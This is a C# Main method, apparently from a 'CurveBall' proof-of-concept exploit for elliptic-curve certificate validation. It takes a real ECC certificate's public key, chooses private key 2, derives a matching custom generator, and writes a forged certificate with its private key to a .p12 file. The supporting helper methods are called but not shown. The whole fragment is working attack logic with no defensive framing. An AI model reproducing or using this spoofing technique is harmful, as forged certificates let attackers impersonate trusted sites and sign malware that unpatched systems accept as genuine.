private static void Main(string[] args) { Console.WriteLine("=== CurveBall ==="); if (args.Length != 1) { throw new ArgumentException("Please specify a path to the certificate"); } Console.WriteLine("= Loading certificate"); var certificate = new X509Certificate2(args[0]); certificate.AssertECC(); Console.WriteLine("= Fetching public key"); var publicKeyParameters = certificate.GetPublicKeyParameters(); Console.WriteLine("= Choosing private key k = 2"); var newPrivateKey = publicKeyParameters.Parameters.Curve.FromBigInteger(BigInteger.Two); Console.WriteLine("= Computing new generator G = k^(-1)Q"); var newGenerator = CreateGenerator(publicKeyParameters, newPrivateKey); Console.WriteLine("= Creating X509Certificate"); var newDomainParameters = new ECDomainParameters(publicKeyParameters.Parameters.Curve, newGenerator, publicKeyParameters.Parameters.N); var newPublicKeyParameters = new ECPublicKeyParameters(publicKeyParameters.Q, newDomainParameters); var newPrivateKeyParameters = new ECPrivateKeyParameters(newPrivateKey.ToBigInteger(), newDomainParameters); var newCertificate = CreateX509Certificate(certificate, newPublicKeyParameters, newPrivateKeyParameters); Console.WriteLine("= Writing to file (*.p12)"); WriteToP12(newCertificate, newPrivateKeyParameters); }